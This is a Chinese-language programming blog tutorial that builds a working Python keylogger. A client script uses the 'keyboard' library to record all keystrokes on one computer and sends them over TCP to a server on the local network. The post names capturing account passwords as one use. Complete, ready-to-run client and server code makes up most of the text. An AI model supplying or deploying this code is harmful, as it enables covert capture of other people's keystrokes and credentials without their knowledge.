🍎新年到啦~
🍋祝大家新的一年里平安喜顺,前途多坦荡,身后皆曙光~
🍒作者:尘世镜花恋
🍇日期:2023.1.23 a.m.(中国兔年)
🍈题目:Server在局域网内监听Client的键盘输入
各位客官可以点击目录直达代码
目录
(一)场景描述
很早之前,我就有这么一个想法,就是能够在手机(可以下载qpython 自行上网搜索)或电脑1上,监测电脑2的键盘输入,以及获取鼠标点击位置,
这样有很多好处,比如:
- 防止他人乱碰你的电脑键盘,而你一脸懵逼过来时却不知道发生什么,但是可以通过Server端的运行记录查找到
- 有时输入账号,密码后不会保存,转眼即忘(好吧,好像只有我这样鱼一样的记忆)
话不多说,开整!~
(二)Python Socket粉墨登场~
想要实现局域网内的通信首先需要导入socket库,下面分开写server和cilent:
(1)Cilent code
首先建立连接,输入server端ip地址,这时要确保服务端9999端口打开(也可以随便设置其他未被占用端口)
from socket import *
ip_port = ('192.168.52.1', 9999)
buffer_size = 1024
tcp_client = socket(AF_INET, SOCK_STREAM)
tcp_client.connect(ip_port)
while True:
msg = '' #这里稍后再修改为keyboard所获得的的输入
tcp_client.send(msg.encode('utf-8'))
#print('客户端已经发送消息')
tcp_client.close()
获取电脑ip,搜索cmd,键入“ipconfig”,找到ipv4地址,在这里还要注意一点,必须把server的ip分配固定,否则可能会出现连接错误(因为你的client程序里面的server的ip是固定不变的)
这里ip是搞定了,如果可以运行那还好,但后面运行如果出现错误,第三部分会给出解决办法
(2)Server Code
服务器端要随时接收客户端发送的message,用while循环收到客户端的监听信息
from socket import *
ip_port = ('127.0.0.1', 9999)
back_log = 5
buffer_size = 1024
tcp_server = socket(AF_INET, SOCK_STREAM)
tcp_server.bind(ip_port)
tcp_server.listen(back_log)
print('服务端开始运行')
conn, addr = tcp_server.accept()
print('客户端地址:', addr)
while True:
data = conn.recv(buffer_size)
print('客户端:', data.decode('utf-8'))
conn.close()
tcp_server.close()
(三)程序实现核心——Keyboard
(1)下载Keyboard
pip install keyboard
keyboard的教程超全:https://blog.csdn.net/coco56/article/details/107847467,这里不再赘述。
(2)获取信息
在客户端while循环内添加事件监听,这里我们使用record函数,可以设置按下对应按键跳出监听
不建议使用hook与wait函数:
- hook当只要有按键按下/松开时就会触发的回调函数,并不能实现我们所需要的返回值
- wait是触发按键结束监听,参数是指定的按键,跟record异曲同工
关于record函数在本项目的优势:
- 在死循环内,record并不会终止记录,只会在结束键按下返回值,这正好应了我们的意。
- 返回值是一个列表,需要我们转换为字符串
- 设置常用的结束按键,可以不是很优雅但有用的把信息发送到服务端
这里只能判断ctrl和alt,由于本人太懒,其他的按键就请各位客官自行添加在snip的位置哦(模仿我的下面的示例)~
PS:可以把按键写成列表,遍历生成对应的字符串,可以节省时间
以下这段各位客官可以不看:
还要注意一点,我们虽然已经实现返回按键信息的功能,但是循环不能靠我们自己打破,否则这个程序就成为用户的全程操作,我们是希望机器全自动化,这就是这个程序的弊端,我想到一种解决办法,调用keyboard的press_and_release函数,就是向程序输入字符,并调用sleep,在指定时间内触发,把record终止,这里会用到多线程,增加了程序的复杂度,不再赘述。。。
import keyboard
#这部分代码在while循环外
keyboard.add_hotkey('ctrl', print, args=('按下了ctrl键',))
keyboard.add_hotkey('alt', print, args=('按下了alt键',))
---snip----
#这部分在循环内
recorded = str(keyboard.record(until='Enter'))
#当按下enter时结束按键监听,并输出所有按键事件,这里的结束键自行设置常用的
print(recorded)
#添加键位参考
#字符
'1'
'a'
...
#控制
'ctrl'
'alt'
'shift'
'enter'
'esc'
'f1'
...
#方向键
'up'
'down'
'left'
'right'
#组合按键
'ctrl'+'alt'+'a'
...
(四)代码示例
client.py中的部分代码客官注意修改添加
server.py
from socket import *
ip_port = ('127.0.0.1', 9999)
back_log = 5
buffer_size = 1024
tcp_server = socket(AF_INET, SOCK_STREAM)
tcp_server.bind(ip_port)
tcp_server.listen(back_log)
print('服务端开始运行')
conn, addr = tcp_server.accept()
print('客户端地址:', addr)
while True:
data = conn.recv(buffer_size)
print('客户端:', data.decode('utf-8'))
conn.close()
tcp_server.close()
client.py
from socket import *
import keyboard
keyboard.add_hotkey('ctrl', print, args=('按下了ctrl键',))
keyboard.add_hotkey('alt', print, args=('按下了alt键',))
ip_port = ('192.168.52.1', 9999)
buffer_size = 1024
tcp_client = socket(AF_INET, SOCK_STREAM)
tcp_client.connect(ip_port)
while True:
recorded = str(keyboard.record(until='Enter'))
#当按下Enter时结束按键监听,并输出所有按键事件,这里的结束键自行设置常用的
#print(recorded)
tcp_client.send(recorded.encode('utf-8'))
#print('客户端已经发送消息')
tcp_client.close()
(五)可能出现的ERROR
1.麻烦棘手,莫名其妙的问题总是不断,比如这个:
[WinError 10061] 由于目标计算机积极拒绝,无法连接。
翻找好多办法,终于找到症结,链接:https://blog.csdn.net/m0_52939861/article/details/117709011
2.再比如这个:
[WinError 10048] 通常每个套接字地址(协议/网络地址/端口)只允许使用一次
换一个端口试试,可能你所使用的被占用。
(六)小结
除了这些还可以监听鼠标点击事件,这些都是一个性质的问题,可以用pyautogui来实现,相信各位聪明的客官可以自己完成。
这是博主入驻csdn以来肝的相当长的一篇blog,既是学习文也是实战文,各位客官如果觉得对您有用给个三连哦~